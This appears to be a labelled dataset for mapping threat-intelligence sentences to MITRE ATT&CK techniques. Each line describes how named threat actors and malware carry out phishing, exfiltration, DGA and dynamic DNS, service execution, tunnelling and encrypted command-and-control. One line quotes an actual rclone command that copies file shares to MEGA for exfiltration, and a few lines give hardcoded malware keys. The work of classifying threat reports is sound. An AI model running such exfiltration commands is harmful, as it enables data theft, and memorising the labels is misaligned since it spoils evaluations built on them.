+PLATINUM has sent spearphishing emails with attachments to victims as its primary initial access vector.	['T1566.001']
+Patchwork has used spearphishing with an attachment to deliver files with exploits to initial victims.	['T1566.001']
+PoetRAT was distributed via malicious Word documents.	['T1566.001']
+Pony has been delivered via spearphishing attachments.	['T1566.001']
+ROKRAT has been delivered via spearphishing emails that contain a malicious Hangul Office or Microsoft Word document.	['T1566.001']
+RTM has been delivered via spearphishing attachments disguised as PDF documents.	['T1566.001']
+RTM has used spearphishing attachments to distribute its malware.	['T1566.001']
+Rancor has attached a malicious document to an email to gain initial access.	['T1566.001']
+Rifdoor has been distributed in e-mails with malicious Excel or Word documents.	['T1566.001']
+Sandworm Team has delivered malicious Microsoft Office attachments via spearphishing emails.	['T1566.001']
+Sharpshooter has sent malicious attachments via emails to targets.	['T1566.001']
+SideCopy has sent spearphishing emails with malicious hta file attachments.	['T1566.001']
+Silence has sent emails with malicious DOCX, CHM, LNK and ZIP attachments.	['T1566.001']
+Squirrelwaffle has been distributed via malicious Microsoft Office documents within spam emails.	['T1566.001']
+TA459 has targeted victims using spearphishing emails with malicious Microsoft Word attachments.	['T1566.001']
+TA505 has used spearphishing emails with malicious attachments to initially compromise victims.	['T1566.001']
+TA551 has sent spearphishing attachments with password protected ZIP files.	['T1566.001']
+The White Company has sent phishing emails with malicious Microsoft Word attachments to victims.	['T1566.001']
+ThreatNeedle has been distributed via a malicious Word document within a spearphishing email.	['T1566.001']
+Transparent Tribe has sent spearphishing e-mails with attachments to deliver malicious payloads.	['T1566.001']
+TrickBot has used an email with an Excel sheet containing a malicious macro to deploy the malware	['T1566.001']
+Tropic Trooper sent spearphishing emails that contained malicious Microsoft Office and fake installer file attachments.	['T1566.001']
+Turla has used spearphishing emails to deliver BrainTest as a malicious attachment.	['T1566.001']
+Valak has been delivered via spearphishing e-mails with password protected ZIP files.	['T1566.001']
+Windshift has sent spearphishing emails with attachment to harvest credentials and deliver malware.	['T1566.001']
+Wizard Spider has used spearphishing attachments to deliver Microsoft documents containing macros or PDFs containing malicious links to download either Emotet, Bokbot, TrickBot, or Bazar.	['T1566.001']
+ZxxZ has been distributed via spearphishing emails, usually containing a malicious RTF or Excel attachment.	['T1566.001']
+admin@338 has sent emails with malicious Microsoft Office documents attached.	['T1566.001']
+"AADInternals can send ""consent phishing"" emails containing malicious links designed to steal users’ access tokens."	['T1566.002']
+APT28 sent spearphishing emails which used a URL-shortener service to masquerade as a legitimate service and to redirect targets to credential harvesting sites.	['T1566.002']
+APT39 leveraged spearphishing emails with malicious links to initially compromise victims.	['T1566.002']
+AppleJeus has been distributed via spearphishing link.	['T1566.002']
+Bazar has been spread via emails with embedded malicious links.	['T1566.002']
+BlackTech has used spearphishing e-mails with links to cloud services to deliver malware.	['T1566.002']
+Bumblebee has been spread through e-mail campaigns with malicious links.	['T1566.002']
+Confucius has sent malicious links to victims through email campaigns.	['T1566.002']
+Dragonfly 2.0 used spearphishing with PDF attachments containing malicious links that redirected to credential harvesting websites.	['T1566.002']
+During C0011, Transparent Tribe sent emails containing a malicious link to student targets in India.	['T1566.002']
+During Night Dragon, threat actors sent spearphishing emails containing links to compromised websites where malware was downloaded.	['T1566.002']
+During Operation Dust Storm, the threat actors sent spearphishing emails containing a malicious link.	['T1566.002']
+EXOTIC LILY has relied on victims to open malicious links in e-mails for execution.	['T1566.002']
+Earth Lusca has sent spearphishing emails to potential targets that contained a malicious link.	['T1566.002']
+Elderwood has delivered zero-day exploits and malware to victims via targeted emails containing a link to malicious content hosted on an uncommon Web server.	['T1566.002']
+Ember Bear has sent spearphishing emails containing malicious links.	['T1566.002']
+FIN7 has conducted broad phishing campaigns using malicious links.	['T1566.002']
+Hancitor has been delivered via phishing emails which contained malicious links.	['T1566.002']
+Javali has been delivered via malicious links embedded in e-mails.	['T1566.002']
+KOCTOPUS has been distributed as a malicious link within an email.	['T1566.002']
+Kimsuky has sent spearphishing emails containing a link to a document that contained malicious macros or took the victim to an actor-controlled domain.	['T1566.002']
+Lazarus Group has sent malicious links to victims via email.	['T1566.002']
+LazyScripter has used spam emails that contain a link that redirects the victim to download a malicious document.	['T1566.002']
+Leviathan has sent spearphishing emails with links, often using a fraudulent lookalike domain and stolen branding.	['T1566.002']
+Magic Hound has sent malicious URL links through email to victims. In some cases the URLs were shortened or linked to Word documents with malicious macros that executed PowerShells scripts to download Pupy.	['T1566.002']
+Melcoz has been spread through malicious links embedded in e-mails.	['T1566.002']
+Mofang delivered spearphishing emails with malicious links included.	['T1566.002']
+Night Dragon sent spearphishing emails containing links to compromised websites where malware was downloaded.	['T1566.002']
+OutSteel has been distributed through malicious links contained within spearphishing emails.	['T1566.002']
+QakBot has spread through emails with malicious links.	['T1566.002']
+Saint Bot has been distributed through malicious links contained within spearphishing emails.	['T1566.002']
+Sidewinder has sent e-mails with malicious links often crafted for specific targets.	['T1566.002']
+Squirrelwaffle has been distributed through phishing emails containing a malicious URL.	['T1566.002']
+Stolen Pencil sent spearphishing emails containing links to domains controlled by the threat actor.	['T1566.002']
+TA505 has sent spearphishing emails containing malicious links.	['T1566.002']
+TrickBot has been delivered via malicious links in phishing e-mails.	['T1566.002']
+Turla attempted to trick targets into clicking on a link featuring a seemingly legitimate domain from Adobe.com to download their malware and gain initial access.	['T1566.002']
+Windshift has sent spearphishing emails with links to harvest credentials and deliver malware.	['T1566.002']
+ZIRCONIUM has used malicious links and web beacons in e-mails for malware download and to track hits to attacker-controlled URL's.	['T1566.002']
+APT29 has used the legitimate mailing service Constant Contact to send phishing e-mails.	['T1566.003']
+Ajax Security Team has used various social media channels to spearphish victims.	['T1566.003']
+FIN6 has used fake job advertisements sent via LinkedIn to spearphish targets.	['T1566.003']
+Lazarus Group has used fake job advertisements sent via LinkedIn to spearphish victims.	['T1566.003']
+Lazarus Group has used social media platforms, including LinkedIn and Twitter, to send spearphishing messages.	['T1566.003']
+Magic Hound used various social media channels (such as LinkedIn) as well as messaging services (such as WhatsApp) to spearphish victims.	['T1566.003']
+OilRig has used LinkedIn to send spearphishing links.	['T1566.003']
+APT28 can exfiltrate data over Google Drive.	['T1567']
+AppleSeed has exfiltrated files using web services.	['T1567']
+DropBook has used legitimate web services to exfiltrate data.	['T1567']
+BoomBox can upload data to dedicated per-victim folders in Dropbox.	['T1567.002']
+Chimera has exfiltrated stolen data to OneDrive accounts.	['T1567.002']
+Clambling can send files from a victim's machine to Dropbox.	['T1567.002']
+Confucius has exfiltrated victim data to cloud storage service accounts.	['T1567.002']
+CreepyDrive can use cloud services including OneDrive for data exfiltration.	['T1567.002']
+"During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command `rclone.exe copy --max-age 2y ""\\SERVER\Shares"" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M`."	['T1567.002']
+Earth Lusca has used the megacmd tool to upload stolen files from a victim network to MEGA.	['T1567.002']
+Empire can use Dropbox for data exfiltration.	['T1567.002']
+FIN7 has exfiltrated stolen data to the MEGA file sharing site.	['T1567.002']
+HEXANE has used cloud services, including OneDrive, for data exfiltration.	['T1567.002']
+Lazarus Group has exfiltrated stolen data to Dropbox using a customized version of dbxcli.	['T1567.002']
+Leviathan has used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox.	['T1567.002']
+POLONIUM has exfiltrated stolen data to POLONIUM-owned OneDrive and Dropbox accounts.	['T1567.002']
+ROKRAT can send collected data to cloud storage services such as PCloud.	['T1567.002']
+RainyDay can use a file exfiltration tool to upload specific files to Dropbox.	['T1567.002']
+Rclone can exfiltrate data to cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA.	['T1567.002']
+Turla has used WebDAV to upload stolen USB files to a cloud drive. Turla has also exfiltrated stolen files to OneDrive and 4shared.	['T1567.002']
+ZIRCONIUM has exfiltrated stolen data to Dropbox.	['T1567.002']
+APT29 used dynamic DNS resolution to construct and resolve to randomly-generated subdomains for C2.	['T1568']
+Bisonal has used a dynamic DNS service for C2.	['T1568']
+During Night Dragon, threat actors used dynamic DNS services for C2.	['T1568']
+For Operation Spalax, the threat actors used dynamic DNS services, including Duck DNS and DNS Exit, as part of their C2 infrastructure.	['T1568']
+Gamaredon Group has incorporated dynamic DNS domains in its infrastructure.	['T1568']
+Gelsemium can use dynamic DNS domain names in C2.	['T1568']
+Gelsemium has used dynamic DNS in its C2 infrastructure.	['T1568']
+NETEAGLE can use HTTP to download resources that contain an IP address and port number pair to connect to for C2.	['T1568']
+Tomiris has connected to a signalization server that provides a URL and port, and then Tomiris sends a GET request to that URL to establish C2.	['T1568']
+UNC2452 used dynamic DNS resolution to construct and resolve to randomly-generated subdomains for C2.	['T1568']
+Machete has used free dynamic DNS domains for C2.	['T1568.001']
+TA505 has used fast flux to mask botnets by distributing payloads across multiple IPs.	['T1568.001']
+gh0st RAT operators have used dynamic DNS to mask the true location of their C2 behind rapidly changing IP addresses.	['T1568.001']
+njRAT has used a fast flux DNS for C2 IP resolution.	['T1568.001']
+Bazar can implement DGA using the current date as a seed variable.	['T1568.002']
+CCBkdr can use a DGA for Fallback Channels if communications with the primary command and control server are lost.	['T1568.002']
+CHOPSTICK can use a DGA for Fallback Channels, domains are generated by concatenating words from lists.	['T1568.002']
+Conficker has used a DGA that seeds with the current UTC victim system date to generate domains.	['T1568.002']
+DarkWatchman has used a DGA to generate a domain name for C2.	['T1568.002']
+Ebury has used a DGA to generate a domain name for C2.	['T1568.002']
+MiniDuke can use DGA to generate new Twitter URLs for C2.	['T1568.002']
+Ngrok can provide DGA for C2 servers through the use of random URL strings that change every 12 hours.	['T1568.002']
+QakBot can use domain generation algorithms in C2 communication.	['T1568.002']
+ShadowPad uses a DGA that is based on the day of the month for C2 servers.	['T1568.002']
+Shark can send DNS C2 communications using a unique domain generation algorithm.	['T1568.002']
+SombRAT can use a custom DGA to generate a subdomain for C2.	['T1568.002']
+TA551 has used a DGA to generate URLs from executed macros.	['T1568.002']
+TeamTNT has created system services to execute cryptocurrency mining software.	['T1569']
+"AppleJeus has loaded a plist file using the ""launchctl"" command."	['T1569.001']
+Calisto uses launchctl to enable screen sharing on the victim’s machine.	['T1569.001']
+"XCSSET loads a system level launchdaemon using the ""launchctl load -w"" command from ""/System/Librarby/LaunchDaemons/ssh.plist""."	['T1569.001']
+macOS.OSAMiner has used `launchctl` to restart the Launch Agent.	['T1569.001']
+APT38 has created new services or modified existing ones to run executables, commands, or scripts.	['T1569.002']
+APT39 has used post-exploitation tools including RemCom and the Non-sucking Service Manager (NSSM) to execute processes.	['T1569.002']
+APT41 used  svchost.exe and Net to execute a system service installed to launch a Cobalt Strike BEACON loader.	['T1569.002']
+Anchor can create and execute services to load its payload.	['T1569.002']
+Chimera has used PsExec to deploy beacons on compromised systems.	['T1569.002']
+Cobalt Strike can use PsExec to execute a payload on a remote host. It can also use Service Control Manager to start new services.	['T1569.002']
+"During Operation Honeybee, threat actors ran ""sc start"" to start the COMSysApp as part of the service hijacking and ""sc stop"" to stop and reconfigure the COMSysApp."	['T1569.002']
+During Operation Wocao, threat actors created services on remote systems for execution purposes.	['T1569.002']
+Empire can use PsExec to execute a payload on a remote host.	['T1569.002']
+FIN6 has created Windows services to execute encoded PowerShell commands.	['T1569.002']
+HOPLIGHT has used svchost.exe to execute a malicious DLL .	['T1569.002']
+HermeticWiper can create system services to aid in executing the payload.	['T1569.002']
+HermeticWizard can use `OpenRemoteServiceManager` to create a service.	['T1569.002']
+Honeybee launches a DLL file that gets executed as a service using svchost.exe	['T1569.002']
+Hydraq uses svchost.exe to execute a malicious DLL included in a new service group.	['T1569.002']
+HyperBro has the ability to start and stop a specified service.	['T1569.002']
+Impacket contains various modules emulating other service execution tools such as PsExec.	['T1569.002']
+InvisiMole has used Windows services as a way to execute its malicious payload.	['T1569.002']
+Ke3chang has used a tool known as RemoteExec (similar to PsExec) to remotely execute batch scripts and binaries.	['T1569.002']
+Koadic can run a command on another machine using PsExec.	['T1569.002']
+LoudMiner started the cryptomining virtual machine as a service on the infected machine.	['T1569.002']
+NotPetya can use PsExec to help propagate itself across a network.	['T1569.002']
+Okrum's loader can create a new service named NtmsSvc to execute the payload.	['T1569.002']
+Olympic Destroyer utilizes PsExec to help propagate itself across a network.	['T1569.002']
+Operation Wocao has created services on remote systems for execution purposes.	['T1569.002']
+PoshC2 contains an implementation of PsExec for remote execution.	['T1569.002']
+Proxysvc registers itself as a service on the victim’s machine to run as a standalone process.	['T1569.002']
+Pupy uses PsExec to execute a payload or commands on a remote host.	['T1569.002']
+RemoteCMD can execute commands remotely by creating a new service on the remote system.	['T1569.002']
+Shamoon creates a new service named “ntssrv” to execute the payload. Shamoon can also spread via PsExec.	['T1569.002']
+SysUpdate can manage services and processes.	['T1569.002']
+"The ""net start"" and ""net stop"" commands can be used in Net to execute or stop Windows services."	['T1569.002']
+TinyTurla can install itself as a service on compromised machines.	['T1569.002']
+WastedLocker can execute itself as a service.	['T1569.002']
+Winexe installs a service on the remote system, executes the command, then uninstalls the service.	['T1569.002']
+Winnti for Windows can run as a service using svchost.exe.	['T1569.002']
+Wizard Spider has used services.exe to execute scripts and executables during lateral movement within a victim network.	['T1569.002']
+APT32 has deployed tools after moving laterally using administrative accounts.	['T1570']
+Aoqin Dragon has spread malware in target networks by copying modules to folders masquerading as removable devices.	['T1570']
+BITSAdmin can be used to create BITS Jobs to upload and/or download files from SMB file servers.	['T1570']
+Chimera has copied tools between compromised hosts using SMB.	['T1570']
+During C0015, the threat actors used WMI to load Cobalt Strike onto additional hosts within a compromised network.	['T1570']
+DustySky searches for network drives and removable media and duplicates itself onto them.	['T1570']
+Expand can be used to download or upload a file over a network share.	['T1570']
+FIN10 has deployed Meterpreter stagers and SplinterRAT instances in the victim network after moving laterally.	['T1570']
+GALLIUM has used PsExec to move laterally between hosts in the target network.	['T1570']
+HermeticWizard can copy files to other machines on a compromised network.	['T1570']
+Kerrdown can download additional software including Cobalt Strike from servers on the victim's network.	['T1570']
+LockerGoga has been observed moving around the victim network via SMB, indicating the actors behind this ransomware are manually copying files form computer to computer instead of self-propagating.	['T1570']
+Olympic Destroyer attempts to copy itself to remote machines on the network.	['T1570']
+Operation Wocao has used SMB to copy files to and from target systems.	['T1570']
+PsExec can be used to download or upload a file over a network share.	['T1570']
+Sandworm Team has used `move` to transfer files to a network share.	['T1570']
+Shamoon attempts to copy itself to remote machines on the network.	['T1570']
+Stuxnet uses an RPC server that contains a file dropping routine and support for payload version updates for P2P communications within a victim network.	['T1570']
+Turla RPC backdoors can be used to transfer files to/from victim machines on the local network.	['T1570']
+WannaCry attempts to copy itself to remote computers after gaining access via an SMB exploit.	['T1570']
+"Wizard Spider has used stolen credentials to copy tools into the ""%TEMP%"" directory of domain controllers."	['T1570']
+cmd can be used to copy files to/from a remotely connected internal system.	['T1570']
+esentutl can be used to copy files to/from a remote share.	['T1570']
+ftp may be abused by adversaries to transfer tools or files between systems within a compromised environment.	['T1570']
+APT-C-36 has used port 4050 for C2 communications.	['T1571']
+APT33 has used HTTP over TCP ports 808 and 880 for command and control.	['T1571']
+An APT32 backdoor can use HTTP over a non-standard TCP port (e.g 14146) which is specified in the backdoor configuration.	['T1571']
+BADCALL communicates on ports 443 and 8000 with a FakeTLS method.	['T1571']
+Bankshot binds and listens on port 1058 for HTTP traffic while also utilizing a FakeTLS method.	['T1571']
+BendyBear has used a custom RC4 and XOR encrypted protocol over port 443 for C2.	['T1571']
+Cyclops Blink can use non-standard ports for C2 not typically associated with HTTP or HTTPS traffic.	['T1571']
+DarkVishnya used ports 5190 and 7900 for shellcode listeners, and 4444, 4445, 31337 for shellcode C2.	['T1571']
+Derusbi has used unencrypted HTTP on port 443 for C2.	['T1571']
+Emotet has used HTTP over ports such as 20, 22, 7080, and 50000, in addition to using ports commonly associated with HTTP/S.	['T1571']
+FIN7 has used port-protocol mismatches on ports such as 53, 80, 443, and 8080 during C2.	['T1571']
+GoldenSpy has used HTTP over ports 9005 and 9006 for network traffic, 9002 for C2 requests, 33666 as a WebSocket, and 8090 to download files.	['T1571']
+GravityRAT has used HTTP over a non-standard port, such as TCP port 46769.	['T1571']
+HARDRAIN binds and listens on port 443 with a FakeTLS method.	['T1571']
+HOPLIGHT has connected outbound over TCP port 443 with a FakeTLS method.	['T1571']
+Magic Hound malware has communicated with its C2 server over TCP port 4443 using HTTP.	['T1571']
+Metamorfo has communicated with hosts over raw TCP on port 9999.	['T1571']
+PoetRAT used TLS to encrypt communications over port 143	['T1571']
+QuasarRAT can use port 4782 on the compromised host for TCP callbacks.	['T1571']
+RTM used Port 44443 for its VNC module.	['T1571']
+Rocke's miner connects to a C2 server using port 51640.	['T1571']
+Sandworm Team has used port 6789 to accept connections on the group's SSH server.	['T1571']
+Some Lazarus Group malware uses a list of ordered port numbers to choose a port for C2 traffic, creating port-protocol mismatches.	['T1571']
+TEMP.Veles has used port-protocol mismatches on ports such as 443, 4444, 8531, and 50501 during C2.	['T1571']
+TYPEFRAME has used ports 443, 8080, and 8443 with a FakeTLS method.	['T1571']
+WIRTE has used HTTPS over ports 2083 and 2087 for C2.	['T1571']
+WellMail has been observed using TCP port 25, without using SMTP, to leverage an open port for secure command and control communications.	['T1571']
+Chimera has encapsulated Cobalt Strike's C2 protocol in DNS and HTTPS.	['T1572']
+Cobalt Group has used the Plink utility to create SSH tunnels.	['T1572', 'T1573.002']
+CostaRicto has set up remote SSH tunneling into the victim's environment from a malicious domain.	['T1572']
+Cyclops Blink can use DNS over HTTPS (DoH) to resolve C2 nodes.	['T1572']
+During CostaRicto, the threat actors set up remote SSH tunneling into the victim's environment from a malicious domain.	['T1572']
+FIN6 used the Plink command-line utility to create SSH tunnels to C2 servers.	['T1572', 'T1573.002']
+Heyoka Backdoor can use spoofed DNS requests to create a bidirectional tunnel between a compromised host and its C2 servers.	['T1572']
+Industroyer attempts to perform an HTTP CONNECT via an internal proxy to establish a tunnel.	['T1572']
+Kevin can use a custom protocol tunneled through DNS or HTTP.	['T1572']
+Milan can use a custom protocol tunneled through DNS or HTTP.	['T1572']
+Mythic can use SOCKS proxies to tunnel traffic through another protocol.	['T1572']
+Ngrok can tunnel RDP and other services securely over internet connections.	['T1572']
+OilRig has used the Plink utility and other tools to create tunnels to C2 servers.	['T1572']
+The QakBot proxy module can encapsulate SOCKS5 protocol within its own proxy protocol.	['T1572']
+APT29 has used multiple layers of encryption within malware to protect C2 communication.	['T1573']
+BITTER has encrypted their C2 communications.	['T1573']
+Cryptoistic can engage in encrypted communications with C2.	['T1573']
+Lizar can support encrypted communications between the client and server.	['T1573']
+NETWIRE can encrypt C2 communications.	['T1573']
+PowGoop can receive encrypted commands from C2.	['T1573']
+PowerLess can use an encrypted channel for C2 communications.	['T1573']
+RCSession can use an encrypted beacon to check in with C2.	['T1573']
+Tropic Trooper has encrypted traffic with the C2 to prevent network detection.	['T1573']
+gh0st RAT has encrypted TCP communications to evade detection.	['T1573']
+A variant of ADVSTORESHELL encrypts some C2 with 3DES.	['T1573.001']
+APT12 has used the RIPTIDE RAT, which communicates over HTTP with a payload encrypted with RC4.	['T1573.001']
+APT28 installed a Delphi backdoor that used a custom algorithm for C2 communications.	['T1573.001']
+APT33 has used AES for encryption of command and control traffic.	['T1573.001']
+Attor has encrypted data symmetrically using a randomly generated Blowfish (OFB) key which is encrypted with a public RSA key.	['T1573.001']
+Azorult can encrypt C2 traffic using XOR.	['T1573.001']
+BADCALL encrypts C2 traffic using an XOR/ADD cipher.	['T1573.001']
+BADNEWS encrypts C2 data with a ROR by 3 and an XOR by 0x23.	['T1573.001']
+BBSRAT uses a custom encryption algorithm on data sent back to the C2 server over HTTP.	['T1573.001']
+BLINDINGCAN has encrypted its C2 traffic with RC4.	['T1573.001']
+BRONZE BUTLER has used RC4 encryption (for Datper malware) and AES (for xxmm malware) to obfuscate HTTP traffic. BRONZE BUTLER has also used a tool called RarStar that encodes data with a custom XOR algorithm when posting it to a C2 server.	['T1573.001']
+Bandook has used AES encryption for C2 communication.	['T1573.001']
+Bazar can send C2 communications with XOR encryption.	['T1573.001']
+Before being appended to image files, HAMMERTOSS commands are encrypted with a key composed of both a hard-coded value and a string contained on that day's tweet. To decrypt the commands, an investigator would need access to the intended malware sample, the day's tweet, and the image file containing the command.	['T1573.001']
+Bisonal variants reported on in 2014 and 2015 used a simple XOR cipher for C2. Some Bisonal samples encrypt C2 communications with RC4.	['T1573.001']
+Bonadan can XOR-encrypt C2 communications.	['T1573.001']
+Bumblebee can encrypt C2 requests and responses with RC4	['T1573.001']
+CHOPSTICK encrypts C2 communications with RC4.	['T1573.001']
+CORESHELL C2 messages are encrypted with custom stream ciphers using six-byte or eight-byte keys.	['T1573.001']
+CallMe uses AES to encrypt C2 traffic.	['T1573.001']
+Carbanak encrypts the message body of HTTP traffic with RC2 (in CBC mode). Carbanak also uses XOR with random keys for its communications.	['T1573.001']
+ChChes can encrypt C2 traffic with AES or RC4.	['T1573.001']
+Cobalt Strike has the ability to use AES-256 symmetric encryption in CBC mode with HMAC-SHA-256 to encrypt task commands and XOR to encrypt shell code and configuration data.	['T1573.001']
+Comnie encrypts command and control communications with RC4.	['T1573.001']
+CosmicDuke contains a custom version of the RC4 algorithm that includes a programming error.	['T1573.001']
+Darkhotel has used AES-256 and 3DES for C2 communications.	['T1573.001']
+Dipsind encrypts C2 data with AES256 in ECB mode.	['T1573.001']
+Dridex has encrypted traffic with RC4.	['T1573.001']
+During Frankenstein, the threat actors communicated with C2 via an encrypted RC4 byte stream and AES-CBC.	['T1573.001']
+Ebury has encrypted C2 traffic using the client IP address, then encoded it as a hexadecimal string.	['T1573.001']
+Elise encrypts exfiltrated data with RC4.	['T1573.001']
+Epic encrypts commands from the C2 server using a hardcoded key.	['T1573.001']
+FALLCHILL encrypts C2 data with RC4 encryption.	['T1573.001']
+FatDuke can AES encrypt C2 communications.	['T1573.001']
+FlawedAmmyy has used SEAL encryption during the initial C2 handshake.	['T1573.001']
+FoggyWeb has used a dynamic XOR key and custom XOR methodology for C2 communications.	['T1573.001']
+Frankenstein has communicated with a C2 via an encrypted RC4 byte stream and AES-CBC.	['T1573.001']
+Gazer uses custom encryption for C2 that uses 3DES.	['T1573.001']
+GreyEnergy encrypts communications using AES256.	['T1573.001']
+GrimAgent can use an AES key to encrypt C2 communications.	['T1573.001']
+H1N1 encrypts C2 traffic using an RC4 key.	['T1573.001']
+Helminth encrypts data sent to its C2 server over HTTP with RC4.	['T1573.001']
+HiddenWasp uses an RC4-like algorithm with an already computed PRGA generated key-stream for network communication.	['T1573.001']
+Higaisa used AES-128 to encrypt C2 traffic.	['T1573.001']
+Hikit performs XOR encryption.	['T1573.001']
+HyperStack has used RSA encryption for C2 communications.	['T1573.001']
+KEYMARBLE uses a customized XOR algorithm to encrypt C2 communications.	['T1573.001']
+Kobalos's post-authentication communication channel uses a 32-byte-long password with RC4 for inbound and outbound traffic.	['T1573.001']
+LightNeuron uses AES to encrypt C2 traffic.	['T1573.001']
+LookBack uses a modified version of RC4 for data transfer.	['T1573.001']
+Lucifer can perform a decremental-xor encryption on the initial C2 request before sending it over the wire.	['T1573.001']
+Lurid performs XOR encryption.	['T1573.001']
+Machete has used AES to exfiltrate documents.	['T1573.001']
+Metamorfo has encrypted C2 commands with AES-256.	['T1573.001']
+More_eggs has used an RC4-based encryption method for its C2 communications.	['T1573.001']
+Mosquito uses a custom encryption algorithm, which consists of XOR and a stream that is similar to the Blum Blum Shub algorithm.	['T1573.001']
+MuddyWater has used AES to encrypt C2 responses.	['T1573.001']
+Mustang Panda has encrypted C2 communications with RC4.	['T1573.001']
+NDiskMonitor uses AES to encrypt certain information sent over its C2 channel.	['T1573.001']
+"NETEAGLE will decrypt resources it downloads with HTTP requests by using RC4 with the key ""ScoutEagle."""	['T1573.001']
+NETWIRE can use AES encryption for C2 data transferred.	['T1573.001']
+NanoCore uses DES to encrypt the C2 traffic.	['T1573.001']
+PLAINTEE encodes C2 beacons using XOR.	['T1573.001']
+PLEAD has used RC4 encryption to download modules.	['T1573.001']
+POWERTON has used AES for encrypting C2 traffic.	['T1573.001']
+Pandora has the ability to encrypt communications with D3DES.	['T1573.001']
+PingPull can use AES, in cipher block chaining (CBC) mode padded with PKCS5, to encrypt C2 server communications.	['T1573.001']
+PlugX can use RC4 encryption in C2 communications.	['T1573.001']
+PoisonIvy uses the Camellia cipher to encrypt communications.	['T1573.001']
+Prikormka encrypts some C2 traffic with the Blowfish cipher.	['T1573.001']
+QuasarRAT uses AES with a hardcoded pre-shared key to encrypt network communication.	['T1573.001']
+RDAT has used AES ciphertext to encode C2 communications.	['T1573.001']
+RainyDay can use RC4 to encrypt C2 communications.	['T1573.001']
+Rifdoor has encrypted command and control (C2) communications with a stream cipher.	['T1573.001']
+SeaDuke C2 traffic has been encrypted with RC4 and AES.	['T1573.001']
+Several Lazarus Group malware families encrypt C2 traffic using custom code that uses XOR with an ADD operation and XOR with a SUB operation. Another Lazarus Group malware sample XORs C2 traffic. Other Lazarus Group malware uses Caracachs encryption to encrypt C2 payloads. Lazarus Group has also used AES to encrypt C2 traffic.	['T1573.001']
+SideTwist can encrypt C2 communications with a randomly generated key.	['T1573.001']
+Sliver can use AES-GCM-256 to encrypt a session key for C2 message exchange.	['T1573.001']
+SodaMaster can use RC4 to encrypt C2 communications.	['T1573.001']
+SombRAT has encrypted its C2 communications with AES.	['T1573.001']
+Some Felismus samples use a custom encryption method for C2 traffic that utilizes AES and multiple keys.	['T1573.001']
+Some versions of UPPERCUT have used the hard-coded string “this is the encrypt key” for Blowfish encryption when communicating with a C2. Later versions have hard-coded keys uniquely for each C2 address.	['T1573.001']
+Stealth Falcon malware encrypts C2 traffic using RC4 with a hard-coded key.	['T1573.001']
+StrifeWater can encrypt C2 traffic using XOR with a hard coded key.	['T1573.001']
+Stuxnet encodes the payload of system information sent to the command and control servers using a one byte 0xFF XOR key. Stuxnet also uses a 31-byte long static byte string to XOR data sent to command and control servers. The servers use a different static key to encrypt replies to the implant.	['T1573.001']
+Sys10 uses an XOR 0x1 loop to encrypt its C2 domain.	['T1573.001']
+TAINTEDSCRIBE uses a Linear Feedback Shift Register (LFSR) algorithm for network encryption.	['T1573.001']
+TSCookie has encrypted network communications with RC4.	['T1573.001']
+Taidoor uses RC4 to encrypt the message body of HTTP content.	['T1573.001']
+The Duqu command and control protocol's data stream can be encrypted with AES-CBC.	['T1573.001']
+The IceApple Result Retriever module can AES encrypt C2 responses.	['T1573.001']
+The original variant of FakeM encrypts C2 traffic using a custom encryption cipher that uses an XOR key of “YHCRA” and bit rotation between each XOR operation. Some variants of FakeM use RC4 to encrypt C2 traffic.	['T1573.001']
+Volgmer uses a simple XOR cipher to encrypt traffic and files.	['T1573.001']
+WarzoneRAT can encrypt its C2 with RC4 with the password `warzone160\x00`.	['T1573.001']
+Winnti for Linux has used a custom TCP protocol with four-byte XOR for command and control (C2).	['T1573.001']
+Winnti for Windows can XOR encrypt C2 traffic.	['T1573.001']
+XCSSET uses RC4 encryption over TCP to communicate with its C2 server.	['T1573.001']
+ZeroT has used RC4 to encrypt C2 traffic.	['T1573.001']
+down_new has the ability to AES encrypt C2 communications.	['T1573.001']
+gh0st RAT uses RC4 and XOR to encrypt C2 traffic.	['T1573.001']
+httpclient encrypts C2 content with XOR using a single byte, 0x12.	['T1573.001']
+xCaon has encrypted data sent to the C2 server using a XOR key.	['T1573.001']
+Attor's Blowfish key is encrypted with a public RSA key.	['T1573.002']
+BISCUIT uses SSL for encrypting C2 communications.	['T1573.002']
+Bazar can use TLS in C2 communications.	['T1573.002']
+CHOPSTICK encrypts C2 communications with TLS.	['T1573.002']
+Cobalt Strike can use RSA asymmetric encryption with PKCS1 padding to encrypt data sent to the C2 server.	['T1573.002']
+DarkWatchman can use TLS to encrypt its C2 channel.	['T1573.002']
+Dridex has encrypted traffic with RSA.	['T1573.002']
+"During Operation Wocao, threat actors' proxy implementation ""Agent"" upgraded the socket in use to a TLS socket."	['T1573.002']
+Empire can use TLS to encrypt its C2 channel.	['T1573.002']
+FIN8 has used the Plink utility to tunnel RDP back to C2 infrastructure.	['T1573.002']
+GoldMax has RSA-encrypted its communication with the C2 server.	['T1573.002']
+GreyEnergy encrypts communications using RSA-2048.	['T1573.002']
+GrimAgent can use a hardcoded server public RSA key to encrypt the first request to C2.	['T1573.002']
+Hi-Zor encrypts C2 traffic with TLS.	['T1573.002']
+IcedID has used SSL and TLS in communications with C2.	['T1573.002']
+Kobalos's authentication and key exchange is performed using RSA-512.	['T1573.002']
+Machete has used TLS-encrypted FTP to exfiltrate data.	['T1573.002']
+Metamorfo's C2 communication has been encrypted using OpenSSL.	['T1573.002']
+OilRig used the Plink utility and other tools to create tunnels to C2 servers.	['T1573.002']
+POSHSPY encrypts C2 traffic with AES and RSA.	['T1573.002']
+POWERSTATS has encrypted C2 traffic with RSA.	['T1573.002']
+Pay2Key has used RSA encrypted communications with C2.	['T1573.002']
+Penquin can encrypt communications using the BlowFish algorithm and a symmetric key exchanged with Diffie Hellman.	['T1573.002']
+PoetRAT used TLS to encrypt command and control (C2) communications.	['T1573.002']
+Pupy's default encryption for its C2 communication channel is SSL, but it also has transport options for RSA and AES.	['T1573.002']
+REvil has encrypted C2 communications with the ECIES algorithm.	['T1573.002']
+Rising Sun variants can use SSL for encrypting C2 communications.	['T1573.002']
+Sliver can use mutual TLS and RSA  cryptography to exchange a session key.	['T1573.002']
+Small Sieve can use SSL/TLS for its HTTPS Telegram Bot API-based C2 channel.	['T1573.002']
+SombRAT can SSL encrypt C2 traffic.	['T1573.002']
+Some Volgmer variants use SSL to encrypt C2 communications.	['T1573.002']
+StrongPity has encrypted C2 traffic using SSL/TLS.	['T1573.002']
